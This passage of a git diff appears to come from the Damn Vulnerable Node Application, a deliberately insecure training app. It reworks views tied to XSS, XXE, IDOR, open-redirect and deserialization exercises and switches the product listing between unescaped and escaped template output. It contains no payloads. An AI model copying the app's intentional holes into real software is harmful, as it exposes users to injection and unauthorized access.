<%= messages.warning %>
- <% } else if (messages.info) {%> -
<%= messages.info %>
- <% } %> - -
-

Upload products

-
-
-
- accept=".xml" <% } %>> -
- -
-
-
-
- -

- - <% if (!legacy) { %> -

Sample XML

-

-<products>
-    <product>
-        <name>Xbox One</name>
-        <code>23</code>
-        <tags>gaming console</tags>
-        <description>Gaming console by Microsoft</description>
-    </product>
-    <product>
-        <name>Playstation 4</name>
-        <code>26</code>
-        <tags>gaming console</tags>
-        <description>Gaming console by Sony</description>
-    </product>
-</products>
-
- <% } else { %> -
[{"name":"Xbox 360","code":"15","tags":"gaming console","description":"Microsoft's flagship gaming console"},{"name":"Playstation 3","code":"17","tags":"gaming console","description":"Sony's flagshipgaming console"}]
- <%} %> -
-
- <% include ../common/footer %> - - diff --git a/views/app/modifyproduct.ejs b/views/app/modifyproduct.ejs index b73ebb87b..421560f88 100644 --- a/views/app/modifyproduct.ejs +++ b/views/app/modifyproduct.ejs @@ -10,7 +10,6 @@

Add/Edit Product - Bulk Import List Products

@@ -30,6 +29,8 @@ + +
@@ -53,7 +54,7 @@
- +
diff --git a/views/app/products.ejs b/views/app/products.ejs index 3f307ba3a..6bf86cbb0 100644 --- a/views/app/products.ejs +++ b/views/app/products.ejs @@ -17,7 +17,7 @@ <% if (output&&output.searchTerm) { %>

- Listing products with search query: <%- output.searchTerm %> + Listing products with search query: <%= output.searchTerm %>     Clear @@ -46,11 +46,11 @@ <% if (output && output.products) { for(var i=0; i - <%- output.products[i].id %> - <%- output.products[i].name %> - <%- output.products[i].code %> - <%- output.products[i].tags %> - <%- output.products[i].description %> + <%= output.products[i].id %> + <%= output.products[i].name %> + <%= output.products[i].code %> + <%= output.products[i].tags %> + <%= output.products[i].description %> Edit diff --git a/views/app/redirect.ejs b/views/app/redirect.ejs new file mode 100644 index 000000000..103d14a33 --- /dev/null +++ b/views/app/redirect.ejs @@ -0,0 +1,40 @@ + + + + <% include ../common/head %> + + + <% include ../common/navigation %> +

+
+
+ +
+
+
+ Redirect to URL: <%= url %> + +

+ + +
+
+ + +
+
+
+ + +
+ <% include ../common/footer %> + + \ No newline at end of file diff --git a/views/app/useredit.ejs b/views/app/useredit.ejs index 0c704a377..d4ae71f72 100644 --- a/views/app/useredit.ejs +++ b/views/app/useredit.ejs @@ -24,9 +24,9 @@

Update User Information


- - - + + +
diff --git a/views/common/menu.ejs b/views/common/menu.ejs new file mode 100644 index 000000000..49ef4bec7 --- /dev/null +++ b/views/common/menu.ejs @@ -0,0 +1,32 @@ + \ No newline at end of file diff --git a/views/learn.ejs b/views/learn.ejs index 1fc241a30..a2457e1cc 100644 --- a/views/learn.ejs +++ b/views/learn.ejs @@ -9,24 +9,7 @@
-
-

OWASP Top 10 2017

- <% for (var vulnKey in vulnerabilities) { %> - <% if (vulnKey[1]!='x') { %> - - <%=vulnerabilities[vulnKey]%> - - <% } %> - <% } %> -

OWASP Top 10 2013

- <% for (var vulnKey in vulnerabilities) { %> - <% if (vulnKey[1]=='x') { %> - - <%=vulnerabilities[vulnKey]%> - - <% } %> - <% } %> -
+ <% include common/menu %>
<% if (messages.success) { %> @@ -38,26 +21,21 @@ <% } else if (messages.info) {%>
<%= messages.info %>
<% } %> -

Welcome to Damn Vulnerable NodeJS Application

-

The Damn Vulnerable NodeJS Application implements a set of intentionally vulnerable functions in NodeJS for learning purpose. - Start by selecting one of the vulnerability class from the left menu or select one of the link below

- -

OWASP Top 10 2017

- -

OWASP Top 10 2013

+

Welcome to Damn Vulnerable Node Application

+

The Damn Vulnerable Node Application implements a set of intentionally vulnerable functions in NodeJS for learning purpose. + Start by selecting one of the vulnerability class from the left menu or select one of the link below:

+
diff --git a/views/vulnerabilities/a10_logging/description.ejs b/views/vulnerabilities/a10_logging/description.ejs deleted file mode 100644 index e92afd876..000000000 --- a/views/vulnerabilities/a10_logging/description.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. -
\ No newline at end of file diff --git a/views/vulnerabilities/a10_logging/reference.ejs b/views/vulnerabilities/a10_logging/reference.ejs deleted file mode 100644 index 160340dd8..000000000 --- a/views/vulnerabilities/a10_logging/reference.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-* [https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring](https://www.owasp.org/index.php/Top_10-2017_A10-Insufficient_Logging%26Monitoring) -
\ No newline at end of file diff --git a/views/vulnerabilities/a10_logging/scenario.ejs b/views/vulnerabilities/a10_logging/scenario.ejs deleted file mode 100644 index c03073d03..000000000 --- a/views/vulnerabilities/a10_logging/scenario.ejs +++ /dev/null @@ -1,4 +0,0 @@ -
-* Refer to Guidebook -
- diff --git a/views/vulnerabilities/ax_redirect/description.ejs b/views/vulnerabilities/a10_redirect/description.ejs similarity index 100% rename from views/vulnerabilities/ax_redirect/description.ejs rename to views/vulnerabilities/a10_redirect/description.ejs diff --git a/views/vulnerabilities/ax_redirect/reference.ejs b/views/vulnerabilities/a10_redirect/reference.ejs similarity index 100% rename from views/vulnerabilities/ax_redirect/reference.ejs rename to views/vulnerabilities/a10_redirect/reference.ejs diff --git a/views/vulnerabilities/ax_redirect/scenario.ejs b/views/vulnerabilities/a10_redirect/scenario.ejs similarity index 100% rename from views/vulnerabilities/ax_redirect/scenario.ejs rename to views/vulnerabilities/a10_redirect/scenario.ejs diff --git a/views/vulnerabilities/a7_xss/description.ejs b/views/vulnerabilities/a3_xss/description.ejs similarity index 100% rename from views/vulnerabilities/a7_xss/description.ejs rename to views/vulnerabilities/a3_xss/description.ejs diff --git a/views/vulnerabilities/a7_xss/reference.ejs b/views/vulnerabilities/a3_xss/reference.ejs similarity index 100% rename from views/vulnerabilities/a7_xss/reference.ejs rename to views/vulnerabilities/a3_xss/reference.ejs diff --git a/views/vulnerabilities/a7_xss/scenario.ejs b/views/vulnerabilities/a3_xss/scenario.ejs similarity index 100% rename from views/vulnerabilities/a7_xss/scenario.ejs rename to views/vulnerabilities/a3_xss/scenario.ejs diff --git a/views/vulnerabilities/a4_idor/description.ejs b/views/vulnerabilities/a4_idor/description.ejs new file mode 100644 index 000000000..752651eac --- /dev/null +++ b/views/vulnerabilities/a4_idor/description.ejs @@ -0,0 +1,3 @@ +
+A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. An attacker can manipulate direct object references to access other objects without authorization, unless an access control check is in place. +
diff --git a/views/vulnerabilities/a4_idor/reference.ejs b/views/vulnerabilities/a4_idor/reference.ejs new file mode 100644 index 000000000..c25c80a4f --- /dev/null +++ b/views/vulnerabilities/a4_idor/reference.ejs @@ -0,0 +1,3 @@ +
+* [https://www.owasp.org/index.php/Top\_10_2013-A4-Insecure\_Direct\_Object\_References](https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References) +
\ No newline at end of file diff --git a/views/vulnerabilities/a4_idor/scenario.ejs b/views/vulnerabilities/a4_idor/scenario.ejs new file mode 100644 index 000000000..b567c15a8 --- /dev/null +++ b/views/vulnerabilities/a4_idor/scenario.ejs @@ -0,0 +1,4 @@ +
+* [IDOR: Edit User](/app/useredit) +
+ diff --git a/views/vulnerabilities/a4_xxe/description.ejs b/views/vulnerabilities/a4_xxe/description.ejs deleted file mode 100644 index 5c91a2124..000000000 --- a/views/vulnerabilities/a4_xxe/description.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks. -
\ No newline at end of file diff --git a/views/vulnerabilities/a4_xxe/reference.ejs b/views/vulnerabilities/a4_xxe/reference.ejs deleted file mode 100644 index 99b37e649..000000000 --- a/views/vulnerabilities/a4_xxe/reference.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-* [https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)](https://www.owasp.org/index.php/Top_10-2017_A4-XML_External_Entities_(XXE)) -
\ No newline at end of file diff --git a/views/vulnerabilities/a4_xxe/scenario.ejs b/views/vulnerabilities/a4_xxe/scenario.ejs deleted file mode 100644 index 3d988a10e..000000000 --- a/views/vulnerabilities/a4_xxe/scenario.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-* [XXE: Import Products](/app/bulkproducts) -
\ No newline at end of file diff --git a/views/vulnerabilities/a6_sec_misconf/description.ejs b/views/vulnerabilities/a5_sec_misconf/description.ejs similarity index 100% rename from views/vulnerabilities/a6_sec_misconf/description.ejs rename to views/vulnerabilities/a5_sec_misconf/description.ejs diff --git a/views/vulnerabilities/a6_sec_misconf/reference.ejs b/views/vulnerabilities/a5_sec_misconf/reference.ejs similarity index 100% rename from views/vulnerabilities/a6_sec_misconf/reference.ejs rename to views/vulnerabilities/a5_sec_misconf/reference.ejs diff --git a/views/vulnerabilities/a6_sec_misconf/scenario.ejs b/views/vulnerabilities/a5_sec_misconf/scenario.ejs similarity index 100% rename from views/vulnerabilities/a6_sec_misconf/scenario.ejs rename to views/vulnerabilities/a5_sec_misconf/scenario.ejs diff --git a/views/vulnerabilities/a3_sensitive_data/description.ejs b/views/vulnerabilities/a6_sensitive_data/description.ejs similarity index 100% rename from views/vulnerabilities/a3_sensitive_data/description.ejs rename to views/vulnerabilities/a6_sensitive_data/description.ejs diff --git a/views/vulnerabilities/a3_sensitive_data/reference.ejs b/views/vulnerabilities/a6_sensitive_data/reference.ejs similarity index 100% rename from views/vulnerabilities/a3_sensitive_data/reference.ejs rename to views/vulnerabilities/a6_sensitive_data/reference.ejs diff --git a/views/vulnerabilities/a3_sensitive_data/scenario.ejs b/views/vulnerabilities/a6_sensitive_data/scenario.ejs similarity index 100% rename from views/vulnerabilities/a3_sensitive_data/scenario.ejs rename to views/vulnerabilities/a6_sensitive_data/scenario.ejs diff --git a/views/vulnerabilities/a5_broken_access_control/description.ejs b/views/vulnerabilities/a7_missing_access_control/description.ejs similarity index 100% rename from views/vulnerabilities/a5_broken_access_control/description.ejs rename to views/vulnerabilities/a7_missing_access_control/description.ejs diff --git a/views/vulnerabilities/a5_broken_access_control/reference.ejs b/views/vulnerabilities/a7_missing_access_control/reference.ejs similarity index 100% rename from views/vulnerabilities/a5_broken_access_control/reference.ejs rename to views/vulnerabilities/a7_missing_access_control/reference.ejs diff --git a/views/vulnerabilities/a5_broken_access_control/scenario.ejs b/views/vulnerabilities/a7_missing_access_control/scenario.ejs similarity index 69% rename from views/vulnerabilities/a5_broken_access_control/scenario.ejs rename to views/vulnerabilities/a7_missing_access_control/scenario.ejs index 7c9ea16de..2c8934f12 100644 --- a/views/vulnerabilities/a5_broken_access_control/scenario.ejs +++ b/views/vulnerabilities/a7_missing_access_control/scenario.ejs @@ -1,5 +1,5 @@
* [Admin API Dashbaord](/app/admin) -* [Edit User](/app/useredit) +
diff --git a/views/vulnerabilities/ax_csrf/description.ejs b/views/vulnerabilities/a8_csrf/description.ejs similarity index 100% rename from views/vulnerabilities/ax_csrf/description.ejs rename to views/vulnerabilities/a8_csrf/description.ejs diff --git a/views/vulnerabilities/ax_csrf/reference.ejs b/views/vulnerabilities/a8_csrf/reference.ejs similarity index 100% rename from views/vulnerabilities/ax_csrf/reference.ejs rename to views/vulnerabilities/a8_csrf/reference.ejs diff --git a/views/vulnerabilities/ax_csrf/scenario.ejs b/views/vulnerabilities/a8_csrf/scenario.ejs similarity index 100% rename from views/vulnerabilities/ax_csrf/scenario.ejs rename to views/vulnerabilities/a8_csrf/scenario.ejs diff --git a/views/vulnerabilities/a8_ides/description.ejs b/views/vulnerabilities/a8_ides/description.ejs deleted file mode 100644 index c5c97630d..000000000 --- a/views/vulnerabilities/a8_ides/description.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks. -
\ No newline at end of file diff --git a/views/vulnerabilities/a8_ides/reference.ejs b/views/vulnerabilities/a8_ides/reference.ejs deleted file mode 100644 index f477a0ba7..000000000 --- a/views/vulnerabilities/a8_ides/reference.ejs +++ /dev/null @@ -1,3 +0,0 @@ -
-* [https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization](https://www.owasp.org/index.php/Top_10-2017_A8-Insecure_Deserialization) -
\ No newline at end of file diff --git a/views/vulnerabilities/a8_ides/scenario.ejs b/views/vulnerabilities/a8_ides/scenario.ejs deleted file mode 100644 index 54e33b05d..000000000 --- a/views/vulnerabilities/a8_ides/scenario.ejs +++ /dev/null @@ -1,4 +0,0 @@ -
-* [Insecure Deserialization: Legacy Import Products](/app/bulkproducts?legacy=true) -
- diff --git a/views/vulnerabilities/layout.ejs b/views/vulnerabilities/layout.ejs index e72506080..ff559d228 100644 --- a/views/vulnerabilities/layout.ejs +++ b/views/vulnerabilities/layout.ejs @@ -9,24 +9,7 @@
-
-

OWASP Top 10 2017

- <% for (var vulnKey in vulnerabilities) { %> - <% if (vulnKey[1]!='x') { %> - - <%=vulnerabilities[vulnKey]%> - - <% } %> - <% } %> -

OWASP Top 10 2013

- <% for (var vulnKey in vulnerabilities) { %> - <% if (vulnKey[1]=='x') { %> - - <%=vulnerabilities[vulnKey]%> - - <% } %> - <% } %> -
+ <% include ../common/menu %>

<%=vuln_title%>

diff --git a/wait-for-it.sh b/wait-for-it.sh old mode 100755 new mode 100644